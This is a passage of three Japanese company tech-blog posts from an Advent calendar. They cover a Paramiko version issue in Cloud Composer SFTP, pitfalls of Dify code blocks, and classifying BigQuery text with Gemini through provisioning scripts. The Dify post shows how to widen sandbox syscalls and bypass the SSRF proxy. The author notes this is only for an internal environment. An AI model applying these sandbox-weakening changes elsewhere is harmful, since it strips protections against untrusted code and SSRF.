を変更するすべがない 古い Paramiko を使っている限り絶対に成功しない という仕様の問題。 ⑦ Composer の paramiko を確認すると…古い! Composer 内で   pip freeze | grep paramiko すると…… → 2.7 系(古い) → rsa -sha2 に未対応 原因が完全に確定。 ⑧ Composer をアップグレード → 一発成功 Composer の Airflow イメージをアップデートし、 Paramiko が 2.9+( rsa -sha2 デフォルト対応) に更新 その瞬間、 → GCSToSFTPOperator が何事もなく成功。 設定は一文字も変えていません。 完全にバージョン差の問題でした。 技術的まとめ:今回の本質 問題の本質はこれ: GCSToSFTPOperator → SFTPHook → Paramiko が SHA1 署名( ssh - rsa )しか使えず、外部サーバーが RSA -SHA2 を要求していたため認証が失敗した。 回避策(原理上) 方法 可能? 説明 Paramiko を 2.9+ にアップグレード ◎ 今回の完全解決策 key_file 形式で渡す △ Composer では鍵配置がやや面倒 RSA 鍵を SHA2 対応形式へ変換 ❌ 問題は鍵ではなくクライアント側 SFTP サーバーに設定変更を依頼 ❌ 外部企業のため不可能 最後に:今回の教訓 「Airflow だけ接続できない」→ Paramiko のバージョンをまず疑うべし Airflow のログは認証まわりが不親切で根本原因が見えづらい Composer は内部ライブラリが固定なので、移行時に“バージョン 差事 故”が起きやすい 結局のところ、問題の 9 割は Airflow が使っているライブラリのバージョン差 数日単位で調査し、無数のテストを書き、ようやく原因に辿り着いたので、この記事が誰かの時間を 30 分でも節約できたら嬉しいです。   明日12/14の記事はインフラエンジニア森田さんです。お楽しみに。
こんにちは、AIテクノロ ジー グループの辻埜です。 本記事は Enigmo Advent Calendar 2025 の12日目の記事です。 普段はデータサイエンティストとして 機械学習 を用いたシステムの開発運用や、社内のAI活用推進を担当しています。 近年、生成AIの活用が進む中で、 エニグモ でも社内のAI活用を推進するため、Difyという生成AIアプリ開発ツールを活用した取り組みを行っています。Difyは非エンジニアでもAIを組み込んだワークフローを簡単に構築できるツールです。 dify.ai 社内での導入初期に、使い勝手はどうか?どんな場面で有用か?を調査するため自分でも使ってみたところ、いくつかの課題に直面しました。 この記事では、実際にDifyを使ってワークフローを構築するにあたって苦労した点についてご紹介します。Difyを導入検討している方や、すでに使用している方の参考になれば幸いです。 なお、記事内でDifyのセキュリティ機能の変更について触れていますが、今回の用途としては完全に社内の一部ユーザーに閉じた環境での使用だったため、変更内容に問題がないと判断した上で実施しています。 外部に公開する場合や、不特定多数の利用者によって使用される場合は、セキュリティには十分ご注意ください。 前提(使用した環境) Difyのバージョン: 1.4.1 利用形態: セルフホスト版 実行環境: Compute Engine( GCP ) Difyでやったこと 今回構築したのは、 スプレッドシート から情報を読み込んで、外部 API で取得した情報と結合して、新しい スプレッドシート に出力するというワークフローです。 Difyではブロックという単位で機能を繋げていき、ワークフローを構築していきます。ブロックには様々な種類があり、IF/ELSE処理やLLMの呼び出し、RAGの実装まで GUI 上で簡単に構築ができます。 最初はそれらのブロックを組み合わせてワークフローを構築していたのですが、データをあれこれ変換しようとするとだんだんと標準ブロックだけでは対応が難しくなっていきました。 そんな私のようなわがままなケースに対応するため、Difyでは「コードブロック」を使用することで、 Python コードを実行して自由に処理をすることができます。普段コードを書いている身からすると、やりたいことをささっと記述して実現できるのでとても便利な機能でした。 コードブロックの落とし穴 少々複雑な処理もコードを使ってしまえば簡単にかけてしまうためとても便利なのですが、使っているとなかなか思うように使えず苦労するケースがいくつかでてきました。 1. エディタの機能が限定的 Difyのコードブロックは、ブラウザ上で動作する簡易的なエディタで、簡単な シンタックス ハイライトはあるものの、近年のエディタに搭載されているような各種機能は搭載されていません。 そのため、普段使っているエディタのショートカット機能などが使えない他、最近流行りのAIエディタのようなコード補完機能も使うことができませんでした。 どうしてもAIの力を借りたい時にはローカルのエディタでコードを書いてから、Difyにコピー&ペーストするという手間が発生しました。 2. 外部ライブラリを使う方法が難しい さらに使っていくと、外部ライブラリを使いたい時に簡単に導入することができないことに気づきました。 コードブロックではデフォルトでは実行環境に事前にインストールされているライブラリしか使用できず、使いたい外部ライブラリがある場合は自分で一手間加えて導入する必要があります。 ライブラリの指定 外部ライブラリを使うには、まず リポジトリ 内の ./docker/volumes/sandbox/dependencies にある python-requirements.txt にライブラリの追加をする必要があります。 書き方は通常の Python の requirements.txt と同じです。 pandas==2.3.3 gspread==6.2.1 システムコール の許可 python-requirements.txt の変更が完了したら、次に システムコール を許可する設定を行う必要があります。 Difyではセキュリティのため、デフォルトでは使用できる システムコール が制限されています。外部ライブラリを使おうとすると システムコール が呼び出せずエラーが発生するケースがあり、その際に対応が必要になります。 許可する システムコール は、 docker/volumes/sandbox/conf/ にある config.yaml の中で設定が可能です。 以下のように allowed_syscalls に許可する システムコール を追加することで、 システムコール を使用できるようになります。 allowed_syscalls: [0, 1, 2, 3, 4, 5, ..., 336] 外部ライブラリを使うハードルが想像以上に高く、この時点ですでに通常では想定されていない使い方をしてしまっているんだろうなと感じました。 3. コードブロックで外部への API アクセスができない 上記の設定で外部ライブラリは使用できるようになったものの、次は外部 API を呼び出す処理でネットワークエラーが発生しました。 Difyでは、コードブロックが実行される際には、外部と隔離された専用のSandbox環境(実体はコンテナ)内で実行されるため、安全に開発を進めることができます。エラー発生の状況から原因はそこが怪しいと推測し、調査を進めました。 ./docker/docker-compose.yaml をみてみると、 サンドボックス コンテナが ssrf_proxy_network という名前の専用のネットワークを使用していることがわかりました。 また、プロキシの情報を 環境変数 ( HTTP_PROXY と HTTPS_PROXY )で指定していることがわかりました。 # (一部抜粋) sandbox : environment : HTTP_PROXY : http://ssrf_proxy:3128 HTTPS_PROXY : http://ssrf_proxy:3128 networks : - ssrf_proxy_network 最終的に、他のコンテナで使われている default というネットワークを追加し、プロキシが使われないよう HTTP_PROXY と HTTPS_PROXY を コメントアウト することで、外部 API を呼び出すことができるようになりました。 # (一部抜粋) sandbox : environment : # HTTP_PROXY: http://ssrf_proxy:3128 # HTTPS_PROXY: http://ssrf_proxy:3128 networks : - ssrf_proxy_network - default # 追加 4. テストが書けない 通常のソフトウェア開発では、 単体テスト や統合テストを書くことで、コードの品質を担保し、 リファクタリング や機能追加を安全に行うことができます。一方でDifyのワークフローは、 GUI 上でブロックを配置して接続する形で構築するため、テストコードを記述できず、テスト フレームワーク を使って自動テストを実行することができませんでした。 一応ブロック単位で実行する機能があるため、一部の処理はその機能を活用して入出力を確認しました。しかし、入力がリスト形式の場合はうまくデータが渡せなかったり(本当はやり方があるのかもしれません)、前のブロックの入力が複雑な場合はそれを用意するのも大変なため、なかなか思うようにテストができませんでした。 最終的には実際にワークフローを実行して結果を目視で確認するしかなく、本当に自分の想定する挙動が実現できているのか、バグが仕込まれていないか、いつも以上に気を張って開発する必要がありました。 5. デバッグ が難しい さらに苦しかったのが、エラーが出た時の デバッグ の難しさです。 簡単なエラーであればエラーメッセージから問題の内容を読み取ることができすぐに解消できるのですが、使っているライブラリの中でエラーが出た場合や実行環境の問題でエラーが出た場合などは、エラーメッセージからは原因が読み取れず、print デバッグ 等もできなかったため、原因を特定するのにとても時間がかかりました。 具体的には、ワークフローがtimeoutで止まってしまうケースなどがありました。最終的には ロードバランサー の タイムアウト 設定が原因だったのですが、コードのどこで止まっているのか、なぜ止まっているのかもわからず、ログにも何も出力されないので、結局根本原因の特定までに1ヶ月近くを要しました。 6. ブロック間でのデータ受け渡しが難しい Difyのワークフローではブロック間でデータを受け渡すことができますが、データの受け渡し方法が独特でした。 コードブロックの出力としてはいくつか型を指定することができ、 String や Number 、 Array[Number] など基本的な型は使用できるようになっています。しかし、複雑な型を扱いたい場合には、 Object という型を指定して、 Python の辞書型に変換して受け渡す必要があります。 私の場合はPandasの DataFrame をコードブロック間で受け渡したかったのですが、これを Object として受け渡す必要があり、毎回 DataFrame 型から dict 型に変換しては戻すという余分な処理を入れなければいけませんでした。 さらに、ブロック間で受け渡しができるデータサイズや文字数、オブジェクトのネストの深さなどにも制約があり、これらを超える場合はエラーが発生してしまいます。 一部については上述の docker-compose.yaml ファイルや ./docker/.env ファイルなどをいじることで対応できるものもありますが、設定方法についてはドキュメントにも記載がなく、 ソースコード を読んだり リポジトリ のissueをあさって調べる必要がありました。 7. バージョン管理ができない 通常のソフトウェア開発では、Gitなどの バージョン管理システム を使用して、コードの変更履歴を管理します。 しかし、Difyのワークフローは、 GUI 上で構築されるため、Gitで直接管理することができませんでした。 Difyにも変更履歴機能があるのですが、一度セッションが切れてしまうと履歴が失われてしまうため、変更履歴をきちんと管理するには不十分でした。 対応策として、ワークフローのエクスポート機能を活用しました。定義したワークフローは DSL 形式で出力できるため、出力されたファイルをGitで管理することで擬似的にGitでのバージョン管理を実現しました。 毎回手動で行う必要があったり履歴の確認や復元に手間がかかるため、完全な再現とまでは行きませんが、少なくとも変更履歴を管理できたので大きく困ることはありませんでした。 さいごに この記事では、エンジニアの視点からDifyを使用した際に苦しんだ点についてご紹介しました。 データを加工するなどある程度複雑な処理を行う場合には、純粋にコードを書いてシステムとして構築する方が良いと感じました。 おそらく本来はコードブロックを多用するような使い方ではなく、基本的にはすでに用意されているブロックを組み合わせて使うような使い方を想定されているため、情報が少なかったり設定がしづらかったりするのだと思います。 一方で、社内では非エンジニアの方がDifyを使いこなしてチャットボットを作り込んでいる事例もあり、 GUI で簡単に生成AIを組み込んだワークフローが構築できるという点では非常に革新的なツールだと感じています。 利用者のニーズや用途に合わせて適切な場面で活用していきたいですね。 明日の記事の担当はエンジニアの小松さんです。お楽しみに! 参考文献 Introduction - Dify Docs Introduction to DifySandbox - Dify Blog 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは、AIテクノロ ジー グループの竹田です。 本記事は Enigmo Advent Calendar 2025 の11日目の記事です。 本稿では、BigQueryで抽出したデータに対して「金額に関する記述が含まれているか」をAIで判定する方法を、段階的に進化させながら紹介します。 この記事を書いた背景 私は元々検索システムの運用保守やMLOpsの Ops 周りを担当していました。 しかし、ここ最近は生成AIが実用的なツールとして利用できるようになり、業務でもAIを活用した対応が急増しています。 そんな中で直面したのが、「BigQueryで抽出した大量のテキストデータに対して、AIで判定処理を行いたい」というニーズです。 最初は手動で試し、次第に自動化・効率化を進めていく中で、いくつかの実装パターンが見えてきました。 本記事では、その試行錯誤の過程を「段階的な進化」として整理し、それぞれのアプローチのメリット・デメリットを共有します。 なお、本稿では「金額に関する記述の判定」を例として取り上げていますが、この手法は他の様々な判定タスクにも応用可能です。 同じような課題に直面している方の参考になれば幸いです。 やりたいこと アンケートやレビューデータなど、テキストデータの中から「具体的な金額や価格に関する言及があるもの」だけを抽出したい!というシチュエーションを想定します。 例えば: - 「この製品の価格は10万円ですか?」 → Yes(金額の言及あり) - 「見た目の高級感に対する満足度は?」 → No(金額の言及なし) - 「製品の質感に対するニュアンスで高い評価はあるか?」 → No(金額の言及なし) こういった判定を、ルールベースだけでは難しいケースもあるので、AIの力を借りてやってみます。 アプローチ1: BigQueryコンソール → Spreadsheet → Gemini(手動) まずは一番シンプルな方法から。BigQueryでデータを抽出して、 Google スプレッドシート に保存し、Geminiを使って判定させる方法です。 Step 1: BigQueryでデータを抽出 BigQueryコンソールで以下のようなクエリを実行します。 SELECT t.original_text FROM ( SELECT ' この製品の価格は10万円ですか? ' AS original_text UNION ALL SELECT ' 見た目の高級感に対する満足度は? ' AS original_text UNION ALL SELECT ' 製品の質感に対するニュアンスで高い評価はあるか? ' AS original_text ) t; BigQueryコンソールでのクエリ実行 実行したら、「Save results」から スプレッドシート に保存します。 Step 2: スプレッドシート でGeminiを使う スプレッドシート に保存したら、右側のGeminiパネルを開いて、以下のようなプロンプトを投げます。 A列の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。 スプレッドシート でのGemini判定 Geminiが各行を判定してくれて、B列に結果が入ります。 この方法の課題 手動作業が多い :毎回クエリ実行→保存→Gemini実行という手順が必要 自動化が困難 :定期的に実行したい場合、かなり面倒 スケールしない :データ量が増えると手作業では限界がある ということで、次のステップに進みます! アプローチ2: BigQuery ML(BQ ML)で自動化 BigQuery MLを使えば、BigQueryの中から直接Geminiを呼び出せます。これで自動化の道が開けます! 実装 スクリプト 全体 以下の スクリプト で一気にセットアップできます。 実行前の注意事項  ・この スクリプト は、 GCP リソースの作成やIAM権限の変更を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与など、プロジェクトに対する十分な権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、 CONNECTION_REGION や MODEL_DATASET_ID などの変数も環境に合わせて調整してください  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・BigQueryリモートモデル( gemini_flash )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにVertex AI User権限) #!/bin/bash export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CONNECTION_NAME="llm_connection_for_filtering" export MODEL_DATASET_ID="llm_dataset" export MODEL_NAME="gemini_flash" echo "1. 必要なAPIを有効化します..." gcloud services enable \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} # データセットを作成 echo "2. BigQuery データセットを作成します..." bq show --dataset ${PROJECT_ID}:${MODEL_DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${MODEL_DATASET_ID} # 接続を作成 echo "3. BigQuery接続 (Connection) を作成します..." bq mk --connection \ --connection_type=CLOUD_RESOURCE \ --project_id="${PROJECT_ID}" \ --location="${CONNECTION_REGION}" \ "${CONNECTION_NAME}" # サービスアカウントIDを取得 echo "4. 接続のサービスアカウントIDを取得します..." SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null| jq -r '.cloudResource.serviceAccountId') echo "取得したサービスアカウントID: ${SERVICE_ACCOUNT_ID}" # サービスアカウントにVertex AI Userロールを付与 echo "5. IAMロール (roles/aiplatform.user) を付与します..." gcloud projects get-iam-policy ${PROJECT_ID} \ --flatten="bindings[].members" \ --filter="bindings.role:roles/aiplatform.user AND bindings.members:${SERVICE_ACCOUNT_ID}" \ --format="value(bindings.role)" 2>&1 | grep -q "roles/aiplatform.user" >/dev/null 2>&1 if [ $? = 0 ]; then echo "roles/aiplatform.userは付与済みです。" else gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/aiplatform.user" --quiet fi echo "6. リモートモデルを定義します..." cat > remote_model_def.sql <<EOF CREATE OR REPLACE MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\` REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = 'gemini-2.5-flash' ); EOF bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_model_def.sql echo "7. ML.GENERATE_TEXTの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false --nouse_cache <<EOF SELECT t.original_text, JSON_EXTRACT_SCALAR(ml_generate_text_result, '$.candidates[0].content.parts[0].text') AS judgment_result FROM ML.GENERATE_TEXT( MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\`, ( SELECT t.original_text, CONCAT( '以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。文章: ', t.original_text ) AS prompt FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ) AS t ), STRUCT(0.0 AS temperature, 1000 AS max_output_tokens) ) AS t EOF ポイント解説 BigQuery Connection の作成 BigQueryからVertex AIのGeminiにアクセスするための接続を作成します CLOUD_RESOURCE タイプの接続を使います IAM権限の設定 作成された接続には専用のサービスアカウントが紐づきます このサービスアカウントに roles/aiplatform.user ロールを付与して、Vertex AIを使えるようにします リモートモデルの定義 CREATE MODEL 文で、Gemini 2.5 Flash をリモートモデルとして登録します これでBigQueryからGeminiを呼び出せるようになります ML.GENERATE_TEXTで判定実行 ML.GENERATE_TEXT 関数を使って、各テキストに対してGeminiで判定を実行します プロンプトは CONCAT で動的に生成しています この方法の利点と課題 利点 完全自動化!スケジュールクエリで定期実行も可能 BigQueryの中で完結するので、データの移動が不要 課題 全行でLLMが呼ばれる = コストが高い 「10万円」みたいな明らかなキーワードがある場合も、わざわざLLMを呼んでいる ということで、さらなる最適化に挑戦します! アプローチ3: UDF + Cloud Run でコスト最適化 最後は、BigQueryのRemote UDFとCloud Runを組み合わせて、 ルールベース判定 → LLM判定 の2段階フィルタリングを実装します。 戦略 まず高速なルールベース判定(キーワードマッチ)を実行 キーワードに引っかからなかった場合のみ、LLMで判定 これでLLM呼び出し回数を大幅削減! 実装 スクリプト 全体 実行前の注意事項  ・この スクリプト は、Cloud Runのデプロイ、Dockerイメージのビルド、BigQueryリソースの作成、IAM権限の変更など、多くの GCP リソース操作を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与、Cloud Runのデプロイなど、プロジェクトに対する強い権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、リージョンやサービス名などの変数も環境に合わせて調整してください  ・この スクリプト は set -e でエラー時に停止するようになっていますが、途中で失敗した場合は作成済みのリソースが残る可能性があります  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・Artifact Registry リポジトリ ( bq-udf-repo )  ・Cloud Runサービス( bq-udf-processor-final )  ・BigQuery Remote UDF( efficient_price_filter_final )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにCloud Run Invoker権限、Cloud RunのサービスアカウントにVertex AI User権限) #!/bin/bash set -e export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CLOUDRUN_REGION="us-central1" export DATASET_ID="llm_dataset" export CONNECTION_NAME="llm_connection_for_filtering" export REPO_NAME="bq-udf-repo" export SERVICE_NAME="bq-udf-processor-final" export FUNCTION_NAME="efficient_price_filter_final" echo "--- 1. 必要なAPIの有効化 ---" gcloud services enable \ artifactregistry.googleapis.com \ run.googleapis.com \ cloudbuild.googleapis.com \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} --quiet echo "--- 2. BigQuery データセットの作成 ---" bq show --dataset ${PROJECT_ID}:${DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${DATASET_ID} echo "--- 3. Artifact Registryの準備 ---" gcloud artifacts repositories create ${REPO_NAME} \ --repository-format=docker \ --location=${CLOUDRUN_REGION} \ --project=${PROJECT_ID} || true echo "--- 4. BQ Connectionの作成とサービスアカウントIDの取得 ---" CONNECTION_FULL_PATH="${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}" bq show --connection --location="${CONNECTION_REGION}" "${CONNECTION_FULL_PATH}" &>/dev/null || \ bq mk --connection --connection_type=CLOUD_RESOURCE --project_id="${PROJECT_ID}" --location="${CONNECTION_REGION}" "${CONNECTION_NAME}" SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null | jq -r '.cloudResource.serviceAccountId') if [ -z "$SERVICE_ACCOUNT_ID" ]; then echo "エラー: サービスアカウントIDの取得に失敗しました。" exit 1 fi echo "取得されたサービスアカウントID: ${SERVICE_ACCOUNT_ID}" echo "--- 5. ソースファイルの作成 ---" cat > main.py <<'EOF' from flask import Flask, request, jsonify import os from google import genai from google.genai import types app = Flask(__name__) PROJECT_ID = os.environ.get('GCP_PROJECT', 'your_project_id') LLM_REGION = 'us-central1' llm_client = None try: llm_client = genai.Client(vertexai=True, project=PROJECT_ID, location=LLM_REGION) except Exception as e: print(f"LLM Client Initialization Error: {e}") def call_llm_for_judgment(text): if not llm_client: return "ERROR_CLIENT_INIT" prompt = f"以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみを回答してください。\n文章:{text}" try: response = llm_client.models.generate_content( model="gemini-2.5-flash", contents=prompt ) return response.text.strip() except Exception as e: print(f"LLM API Call Failed: {e}") return "ERROR_LLM_CALL" @app.route('/', methods=['POST']) def handle_bq_udf(): try: data = request.get_json() calls = data['calls'] results = [] for call in calls: input_text = call[0] # --- 1. 高速なルールベース判定 --- keywords = ['万円', '予算', '価格', '費用', '円', 'ドル'] if any(k in input_text for k in keywords): results.append("Yes") continue # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) if llm_result.strip().upper() == "YES": results.append("Yes") else: results.append("No") return jsonify({"replies": results}) except Exception as e: return jsonify({"errorMessage": str(e)}), 400 if __name__ == '__main__': port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port) EOF echo "flask" > requirements.txt echo "google-genai" >> requirements.txt cat > Dockerfile <<'EOF' FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY main.py . EXPOSE 8080 CMD ["python", "main.py"] EOF echo "--- 6. イメージのビルドとCloud Runへのデプロイ ---" export IMAGE_URI="${CLOUDRUN_REGION}-docker.pkg.dev/${PROJECT_ID}/${REPO_NAME}/${SERVICE_NAME}:latest" gcloud builds submit --tag ${IMAGE_URI} --project=${PROJECT_ID} --quiet gcloud run deploy ${SERVICE_NAME} \ --image ${IMAGE_URI} \ --region ${CLOUDRUN_REGION} \ --platform managed \ --no-allow-unauthenticated \ --project=${PROJECT_ID} \ --quiet SERVICE_URL=$(gcloud run services describe ${SERVICE_NAME} --region ${CLOUDRUN_REGION} --project=${PROJECT_ID} | grep ^URL: | awk '{print $2}') echo "デプロイされたサービスURL: ${SERVICE_URL}" echo "--- 7. IAM権限付与 ---" # set -e の影響を一時的に無効化してチェック set +e INVOKER_CHECK=$(gcloud run services get-iam-policy ${SERVICE_NAME} \ --project=${PROJECT_ID} \ --region=${CLOUDRUN_REGION} \ --format="value(bindings.role, bindings.members)" \ | grep "roles/run.invoker" | grep "${SERVICE_ACCOUNT_ID}") CHECK_RESULT=$? set -e if [ $CHECK_RESULT = 0 ]; then echo "roles/run.invokerは付与済みです。" else echo "roles/run.invokerを付与します..." gcloud run services add-iam-policy-binding ${SERVICE_NAME} \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/run.invoker" \ --region ${CLOUDRUN_REGION} \ --project=${PROJECT_ID} --quiet echo "roles/run.invoker権限付与後、60秒待機します..." sleep 60 fi # Cloud RunサービスアカウントにVertex AI権限を付与 echo "Cloud RunサービスアカウントにVertex AI権限を付与します..." PROJECT_NUMBER=$(gcloud projects describe ${PROJECT_ID} --format="value(projectNumber)") CLOUDRUN_SA="${PROJECT_NUMBER}-compute@developer.gserviceaccount.com" gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${CLOUDRUN_SA}" \ --role="roles/aiplatform.user" \ --quiet echo "--- 8. リモート関数の定義と実行 ---" cat > remote_function_def.sql <<EOF CREATE OR REPLACE FUNCTION \`${PROJECT_ID}.${DATASET_ID}.${FUNCTION_NAME}\`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = '${SERVICE_URL}' ); EOF echo "リモート関数の定義を実行します..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_function_def.sql # UDFの実行と結果確認 echo "UDFの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false <<EOF_EXEC SELECT original_text, \`${DATASET_ID}.${FUNCTION_NAME}\`(original_text) AS judgment_result FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ); EOF_EXEC ポイント解説 1. Cloud Runアプリの実装(main.py) # --- 1. 高速なルールベース判定 --- keywords = [ '万円' , '予算' , '価格' , '費用' , '円' , 'ドル' ] if any (k in input_text for k in keywords): results.append( "Yes" ) continue # LLMを呼ばずに次へ # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) この2段階判定がポイントです! - キーワードに引っかかれば即座に「Yes」を返す(高速・低コスト) - キーワードがない場合のみLLMで判定(精度重視) 2. BigQuery Remote UDF CREATE OR REPLACE FUNCTION `project.dataset.function_name`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION `project.region.connection_name` OPTIONS ( endpoint = ' https://your-cloud-run-url ' ); BigQueryから外部のCloud Runエンドポイントを呼び出すUDFを定義します。 3. 使い方 SELECT original_text, `dataset.function_name`(original_text) AS judgment_result FROM your_table; 通常のBigQuery関数と同じように使えます! この方法の利点 コスト最適化 :明らかなケースはルールベースで処理し、LLM呼び出しを最小化 柔軟性 :Cloud Runのコードを変更すれば、判定ロジックを自由にカスタマイズ可能 スケーラビリティ :Cloud Runが自動スケールするので、大量データにも対応 保守性 :判定ロジックが Python コードなので、メンテナンスしやすい まとめ:3つのアプローチの比較 アプローチ コスト 実装難易度 おすすめ用途 1. コンソール→Spreadsheet 低 低 少量データの一回限りの分析、プロトタイピング 2. BQ ML 高 中 精度重視、コストは気にしない、完全自動化 3. UDF + Cloud Run 最適 高 本番運用、コスト最適化重視、カスタマイズ性重視 個人的には、最初は アプローチ1 で試してみて、定期実行が必要になったら アプローチ2 、さらにコストが気になってきたら アプローチ3 という段階的な進化がおすすめです! 参考リンク 本記事で紹介した各種コードは、 Google Cloud の公式ドキュメントを参考にしています。 Google Cloud ドキュメント BigQuery ML - ML.GENERATE_TEXT BigQuery Remote Functions Vertex AI Gemini API 感想 今回の実装を通して、外部接続の設定やサービスアカウントへのロール追加など、思ったより設定することが多いなと感じました。特にアプローチ3のUDF + Cloud Runの構成は、初回のセットアップにそれなりの手間がかかります。 ただ、一度作成してしまえば他の ユースケース にも流用できるため、非常に便利な機能だと実感しました。今後、BigQuery + ML利用についてはより簡素で柔軟な方法が出てくるかもしれませんが、本記事がみなさまの参考になれば幸いです。 明日の記事は同じAIテクノロ ジー グループの辻埜さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co